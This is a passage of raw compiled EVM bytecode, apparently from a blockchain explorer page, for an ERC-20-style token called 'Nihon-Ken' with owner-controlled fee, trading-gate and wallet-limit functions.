61085f575f80fd5b5061087a60048036038101906108759190612859565b6113ea565b005b348015610887575f80fd5b506108a2600480360381019061089d9190612859565b61149a565b6040516108af9190612768565b60405180910390f35b3480156108c3575f80fd5b506108cc61150a565b6040516108d99190612768565b60405180910390f35b3480156108ed575f80fd5b506108f6611510565b6040516109039190612768565b60405180910390f35b348015610917575f80fd5b50610932600480360381019061092d9190612b2e565b611516565b60405161093f9190612768565b60405180910390f35b348015610953575f80fd5b5061096e60048036038101906109699190612b96565b611598565b005b34801561097b575f80fd5b506109846115bd565b6040516109919190612c2f565b60405180910390f35b3480156109a5575f80fd5b506109ae6115e2565b6040516109bb9190612936565b60405180910390f35b601e5481565b60606040518060400160405280600981526020017f4e69686f6e2d4b656e0000000000000000000000000000000000000000000000815250905090565b610a1033610f66565b610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612c92565b60405180910390fd5b600a811015610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90612d20565b60405180910390fd5b6103e881600554610aa49190612d6b565b610aae9190612dd9565b60078190555050565b5f8160095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b929190612768565b60405180910390a36001905092915050565b5f82610baf8361149a565b11905092915050565b60125481565b5f600554905090565b60115481565b610bd633610f66565b610c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0c90612c92565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051610cd79190612e29565b60405180910390a150565b81601a8190555080601b819055505050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610ed357610e56826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e63650000000000000000000081525060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115f59092919063ffffffff16565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610ede848484611657565b90509392505050565b5f610f61610f1560045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661116a565b610f53610f4260035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661116a565b60055461198690919063ffffffff16565b61198690919063ffffffff16565b905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60145481565b5f6004905090565b610fd433610f66565b611013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100a90612c92565b60405180910390fd5b8360165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060195f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b5f611144827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610ab7565b9050919050565b60155481565b600e5481565b601d60159054906101000a900460ff1681565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60135481565b60075481565b60065481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4e69686f6e4b656e000000000000000000000000000000000000000000000000815250905090565b600d5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b81526004016112db929190612e42565b6020604051808303815f875af11580156112f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061131b9190612e7d565b905092915050565b5f47905060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846113709190612d6b565b61137a9190612dd9565b90811502906040515f60405180830381858888f193505050501580156113a2573d5f803e3d5ffd5b505050565b8060138190555050565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6113e2338484611657565b905092915050565b6113f333610f66565b611432576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142990612c92565b60405180910390fd5b6001811015611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612f18565b60405180910390fd5b6103e8816005546114879190612d6b565b6114919190612dd9565b60068190555050565b5f6115036114a6610ee7565b6114f56114e660026114d8601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661116a565b6119cf90919063ffffffff16565b856119cf90919063ffffffff16565b611a4690919063ffffffff16565b9050919050565b600f5481565b60105481565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b81601d60156101000a81548160ff02191690831515021790555080601e819055505050565b601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60149054906101000a900460ff1681565b5f83831115829061163c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611633919061280b565b60405180910390fd5b505f838561164a9190612f36565b9050809150509392505050565b5f601f5f9054906101000a900460ff161561167e57611677848484611a8f565b905061197f565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561171c575060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561177157601d60149054906101000a900460ff16611770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176790612fb3565b60405180910390fd5b5b611779611c59565b1561178757611786611d2b565b5b61180e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115f59092919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6118598561227b565b158061186b57506118698461227b565b155b61187f5761187a8584866122ce565b611881565b825b90506118d38160085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119719190612768565b60405180910390a360019150505b9392505050565b5f6119c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f5565b905092915050565b5f8083036119df575f9050611a40565b5f82846119ec9190612d6b565b90508284826119fb9190612dd9565b14611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3290613041565b60405180910390fd5b809150505b92915050565b5f611a8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126ef565b905092915050565b5f611b17826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115f59092919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ba88260085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c469190612768565b60405180910390a3600190509392505050565b5f601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611cc35750601f5f9054906101000a900460ff16155b8015611cdb5750601d60159054906101000a900460ff165b8015611d265750601e5460085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b905090565b6001601f5f6101000a81548160ff0219169083151502179055505f611d54601a54601b54610ba4565b611d6057600d54611d62565b5f5b90505f611da16002611d93601154611d8586601e546119cf90919063ffffffff16565b611a4690919063ffffffff16565b611a4690919063ffffffff16565b90505f611db982601e5461198690919063ffffffff16565b90505f600267ffffffffffffffff811115611dd757611dd661305f565b5b604051908082528060200260200182016040528015611e055781602001602082028036833780820191505090505b50905030815f81518110611e1c57611e1b61308c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e8c57611e8b61308c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f479050601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8530426040518663ffffffff1660e01b8152600401611f2c9594939291906131a9565b5f604051808303815f87803b158015611f43575f80fd5b505af1158015611f55573d5f803e3d5ffd5b505050505f611f6d824761198690919063ffffffff16565b90505f611f98611f87600289611a4690919063ffffffff16565b60115461198690919063ffffffff16565b90505f611fd36002611fc584611fb78c886119cf90919063ffffffff16565b611a4690919063ffffffff16565b611a4690919063ffffffff16565b90505f611ffd83611fef600e54876119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f61202784612019600f54886119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683617530906040516120739061322e565b5f60405180830381858888f193505050503d805f81146120ae576040519150601f19603f3d011682016040523d82523d5f602084013e6120b3565b606091505b5050905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516121009061322e565b5f60405180830381858888f193505050503d805f811461213b576040519150601f19603f3d011682016040523d82523d5f602084013e612140565b606091505b5050809150505f90505f8a111561225557601c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d5f8060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016121d796959493929190613242565b60606040518083038185885af11580156121f3573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061221891906132b5565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b60405161224c929190613305565b60405180910390a15b50505050505050505050505f601f5f6101000a81548160ff021916908315150217905550565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b5f806015549050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361233357601354905061238e565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361238d5760145490505b5b5f6123d660646012546123a19190612d6b565b6123c8846123ba6011548a6119cf90919063ffffffff16565b6119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f6124026011546123f4601054856119cf90919063ffffffff16565b611a4690919063ffffffff16565b90505f612418828461198690919063ffffffff16565b905061246a8160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061251c8260085f60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461269290919063ffffffff16565b60085f60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125db9190612768565b60405180910390a35f8211156126725760195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126699190612768565b60405180910390a35b612685838861198690919063ffffffff16565b9450505050509392505050565b5f8082846126a0919061332c565b9050838110156126e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126dc906133a9565b60405180910390fd5b8091505092915050565b5f8083118290612735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272c919061280b565b60405180910390fd5b505f83856127439190612dd9565b9050809150509392505050565b5f819050919050565b61276281612750565b82525050565b5f60208201905061277b5f830184612759565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156127b857808201518184015260208101905061279d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6127dd82612781565b6127e7818561278b565b93506127f781856020860161279b565b612800816127c3565b840191505092915050565b5f6020820190508181035f83015261282381846127d3565b905092915050565b5f80fd5b61283881612750565b8114612842575f80fd5b50565b5f813590506128538161282f565b92915050565b5f6020828403121561286e5761286d61282b565b5b5f61287b84828501612845565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128ad82612884565b9050919050565b6128bd816128a3565b81146128c7575f80fd5b50565b5f813590506128d8816128b4565b92915050565b5f80604083850312156128f4576128f361282b565b5b5f612901858286016128ca565b925050602061291285828601612845565b9150509250929050565b5f8115159050919050565b6129308161291c565b82525050565b5f6020820190506129495f830184612927565b92915050565b5f80604083850312156129655761296461282b565b5b5f61297285828601612845565b925050602061298385828601612845565b9150509250929050565b5f61299782612884565b9050919050565b6129a78161298d565b81146129b1575f80fd5b50565b5f813590506129c28161299e565b92915050565b5f602082840312156129dd576129dc61282b565b5b5f6129ea848285016129b4565b91505092915050565b5f805f60608486031215612a0a57612a0961282b565b5b5f612a17868287016128ca565b9350506020612a28868287016128ca565b9250506040612a3986828701612845565b9150509250925092565b5f60208284031215612a5857612a5761282b565b5b5f612a65848285016128ca565b91505092915050565b5f60ff82169050919050565b612a8381612a6e565b82525050565b5f602082019050612a9c5f830184612a7a565b92915050565b5f805f8060808587031215612aba57612ab961282b565b5b5f612ac7878288016128ca565b9450506020612ad8878288016128ca565b9350506040612ae9878288016128ca565b9250506060612afa878288016128ca565b91505092959194509250565b612b0f816128a3565b82525050565b5f602082019050612b285f830184612b06565b92915050565b5f8060408385031215612b4457612b4361282b565b5b5f612b51858286016128ca565b9250506020612b62858286016128ca565b9150509250929050565b612b758161291c565b8114612b7f575f80fd5b50565b5f81359050612b9081612b6c565b92915050565b5f8060408385031215612bac57612bab61282b565b5b5f612bb985828601612b82565b9250506020612bca85828601612845565b9150509250929050565b5f819050919050565b5f612bf7612bf2612bed84612884565b612bd4565b612884565b9050919050565b5f612c0882612bdd565b9050919050565b5f612c1982612bfe565b9050919050565b612c2981612c0f565b82525050565b5f602082019050612c425f830184612c20565b92915050565b7f214f574e455200000000000000000000000000000000000000000000000000005f82015250565b5f612c7c60068361278b565b9150612c8782612c48565b602082019050919050565b5f6020820190508181035f830152612ca981612c70565b9050919050565b7f4d61782057616c6c65742063616e6e6f74206265206c6f776572207468616e205f8201527f312520746f74616c20737570706c792e00000000000000000000000000000000602082015250565b5f612d0a60308361278b565b9150612d1582612cb0565b604082019050919050565b5f6020820190508181035f830152612d3781612cfe565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d7582612750565b9150612d8083612750565b9250828202612d8e81612750565b91508282048414831517612da557612da4612d3e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612de382612750565b9150612dee83612750565b925082612dfe57612dfd612dac565b5b828204905092915050565b5f612e1382612bfe565b9050919050565b612e2381612e09565b82525050565b5f602082019050612e3c5f830184612e1a565b92915050565b5f604082019050612e555f830185612b06565b612e626020830184612759565b9392505050565b5f81519050612e7781612b6c565b92915050565b5f60208284031215612e9257612e9161282b565b5b5f612e9f84828501612e69565b91505092915050565b7f4d6178205472616e73616374696f6e2063616e6e6f74206265206c6f776572205f8201527f7468616e20302e312520746f74616c20737570706c792e000000000000000000602082015250565b5f612f0260378361278b565b9150612f0d82612ea8565b604082019050919050565b5f6020820190508181035f830152612f2f81612ef6565b9050919050565b5f612f4082612750565b9150612f4b83612750565b9250828203905081811115612f6357612f62612d3e565b5b92915050565b7f54726164696e67206e6f74206f70656e207965740000000000000000000000005f82015250565b5f612f9d60148361278b565b9150612fa882612f69565b602082019050919050565b5f6020820190508181035f830152612fca81612f91565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61302b60218361278b565b915061303682612fd1565b604082019050919050565b5f6020820190508181035f8301526130588161301f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f6130dc6130d76130d2846130b9565b612bd4565b612750565b9050919050565b6130ec816130c2565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613124816128a3565b82525050565b5f613135838361311b565b60208301905092915050565b5f602082019050919050565b5f613157826130f2565b61316181856130fc565b935061316c8361310c565b805f5b8381101561319c578151613183888261312a565b975061318e83613141565b92505060018101905061316f565b5085935050505092915050565b5f60a0820190506131bc5f830188612759565b6131c960208301876130e3565b81810360408301526131db818661314d565b90506131ea6060830185612b06565b6131f76080830184612759565b9695505050505050565b5f81905092915050565b50565b5f6132195f83613201565b91506132248261320b565b5f82019050919050565b5f6132388261320e565b9150819050919050565b5f60c0820190506132555f830189612b06565b6132626020830188612759565b61326f60408301876130e3565b61327c60608301866130e3565b6132896080830185612b06565b61329660a0830184612759565b979650505050505050565b5f815190506132af8161282f565b92915050565b5f805f606084860312156132cc576132cb61282b565b5b5f6132d9868287016132a1565b93505060206132ea868287016132a1565b92505060406132fb868287016132a1565b9150509250925092565b5f6040820190506133185f830185612759565b6133256020830184612759565b9392505050565b5f61333682612750565b915061334183612750565b925082820190508082111561335957613358612d3e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613393601b8361278b565b915061339e8261335f565b602082019050919050565b5f6020820190508181035f8301526133c081613387565b905091905056fea2646970667358221220e0e3e71f3655b8cf9c10de68899de3c33325c8aed620090f545f9ba74173e7bf64736f6c63430008160033

Deployed Bytecode

0x608060405260043610610249575f3560e01c806370a0823111610138578063a5d73a96116100b5578063d58f2f2711610079578063d58f2f27146108b8578063dccd8bd2146108e2578063dd62ed3e1461090c578063df20fd4914610948578063f887ea4014610970578063ffb54a991461099a57610250565b8063a5d73a96146107c6578063a8aa1b31146107ee578063a9059cbb14610818578063bd9ab53714610854578063d51ed1c81461087c57610250565b806395d89b41116100fc57806395d89b41146106d257806398118cb4146106fc57806398be37861461072657806398e0ae14146107625780639c75dd351461079e57610250565b806370a08231146105ee57806373f425611461062a57806378109e54146106545780637d1db4a51461067e578063893d20e8146106a857610250565b806323b872dd116101c65780633c8e556d1161018a5780633c8e556d1461050c578063571ac8b0146105345780635921652f146105705780636b67c4df1461059a5780636ddd1713146105c457610250565b806323b872dd146104165780632b112e49146104525780632f54bf6e1461047c5780633121c7c0146104b8578063313ce567146104e257610250565b8063180b0d7e1161020d578063180b0d7e1461034857806318160ddd146103725780631df4ccfc1461039c5780631f76a7af146103c6578063201e7991146103ee57610250565b80630445b6671461025457806306fdde031461027e57806309302dc6146102a8578063095ea7b3146102d05780631161ae391461030c57610250565b3661025057005b5f80fd5b34801561025f575f80fd5b506102686109c4565b6040516102759190612768565b60405180910390f35b348015610289575f80fd5b506102926109ca565b60405161029f919061280b565b60405180910390f35b3480156102b3575f80fd5b506102ce60048036038101906102c99190612859565b610a07565b005b3480156102db575f80fd5b506102f660048036038101906102f191906128de565b610ab7565b6040516103039190612936565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d919061294f565b610ba4565b60405161033f9190612936565b60405180910390f35b348015610353575f80fd5b5061035c610bb8565b6040516103699190612768565b60405180910390f35b34801561037d575f80fd5b50610386610bbe565b6040516103939190612768565b60405180910390f35b3480156103a7575f80fd5b506103b0610bc7565b6040516103bd9190612768565b60405180910390f35b3480156103d1575f80fd5b506103ec60048036038101906103e791906129c8565b610bcd565b005b3480156103f9575f80fd5b50610414600480360381019061040f919061294f565b610ce2565b005b348015610421575f80fd5b5061043c600480360381019061043791906129f3565b610cf4565b6040516104499190612936565b60405180910390f35b34801561045d575f80fd5b50610466610ee7565b6040516104739190612768565b60405180910390f35b348015610487575f80fd5b506104a2600480360381019061049d9190612a43565b610f66565b6040516104af9190612936565b60405180910390f35b3480156104c3575f80fd5b506104cc610fbd565b6040516104d99190612768565b60405180910390f35b3480156104ed575f80fd5b506104f6610fc3565b6040516105039190612a89565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190612aa2565b610fcb565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612a43565b611119565b6040516105679190612936565b60405180910390f35b34801561057b575f80fd5b5061058461114b565b6040516105919190612768565b60405180910390f35b3480156105a5575f80fd5b506105ae611151565b6040516105bb9190612768565b60405180910390f35b3480156105cf575f80fd5b506105d8611157565b6040516105e59190612936565b60405180910390f35b3480156105f9575f80fd5b50610614600480360381019061060f9190612a43565b61116a565b6040516106219190612768565b60405180910390f35b348015610635575f80fd5b5061063e6111b0565b60405161064b9190612768565b60405180910390f35b34801561065f575f80fd5b506106686111b6565b6040516106759190612768565b60405180910390f35b348015610689575f80fd5b506106926111bc565b60405161069f9190612768565b60405180910390f35b3480156106b3575f80fd5b506106bc6111c2565b6040516106c99190612b15565b60405180910390f35b3480156106dd575f80fd5b506106e66111e9565b6040516106f3919061280b565b60405180910390f35b348015610707575f80fd5b50610710611226565b60405161071d9190612768565b60405180910390f35b348015610731575f80fd5b5061074c60048036038101906107479190612a43565b61122c565b6040516107599190612936565b60405180910390f35b34801561076d575f80fd5b50610788600480360381019061078391906128de565b61127e565b6040516107959190612936565b60405180910390f35b3480156107a9575f80fd5b506107c460048036038101906107bf9190612859565b611323565b005b3480156107d1575f80fd5b506107ec60048036038101906107e79190612859565b6113a7565b005b3480156107f9575f80fd5b506108026113b1565b60405161080f9190612b15565b60405180910390f35b348015610823575f80fd5b5061083e600480360381019061083991906128de565b6113d6565b60405161084b9190612936565b60405180910390f35b34801561085f575f80fd5b5061087a60048036038101906108759190612859565b6113ea565b005b348015610887575f80fd5b506108a2600480360381019061089d9190612859565b61149a565b6040516108af9190612768565b60405180910390f35b3480156108c3575f80fd5b506108cc61150a565b6040516108d99190612768565b60405180910390f35b3480156108ed575f80fd5b506108f6611510565b6040516109039190612768565b60405180910390f35b348015610917575f80fd5b50610932600480360381019061092d9190612b2e565b611516565b60405161093f9190612768565b60405180910390f35b348015610953575f80fd5b5061096e60048036038101906109699190612b96565b611598565b005b34801561097b575f80fd5b506109846115bd565b6040516109919190612c2f565b60405180910390f35b3480156109a5575f80fd5b506109ae6115e2565b6040516109bb9190612936565b60405180910390f35b601e5481565b60606040518060400160405280600981526020017f4e69686f6e2d4b656e0000000000000000000000000000000000000000000000815250905090565b610a1033610f66565b610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612c92565b60405180910390fd5b600a811015610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90612d20565b60405180910390fd5b6103e881600554610aa49190612d6b565b610aae9190612dd9565b60078190555050565b5f8160095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b929190612768565b60405180910390a36001905092915050565b5f82610baf8361149a565b11905092915050565b60125481565b5f600554905090565b60115481565b610bd633610f66565b610c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0c90612c92565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051610cd79190612e29565b60405180910390a150565b81601a8190555080601b819055505050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610ed357610e56826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e63650000000000000000000081525060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115f59092919063ffffffff16565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610ede848484611657565b90509392505050565b5f610f61610f1560045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661116a565b610f53610f4260035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661116a565b60055461198690919063ffffffff16565b61198690919063ffffffff16565b905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60145481565b5f6004905090565b610fd433610f66565b611013576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100a90612c92565b60405180910390fd5b8360165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060195f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b5f611144827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610ab7565b9050919050565b60155481565b600e5481565b601d60159054906101000a900460ff1681565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60135481565b60075481565b60065481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4e69686f6e4b656e000000000000000000000000000000000000000000000000815250905090565b600d5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b81526004016112db9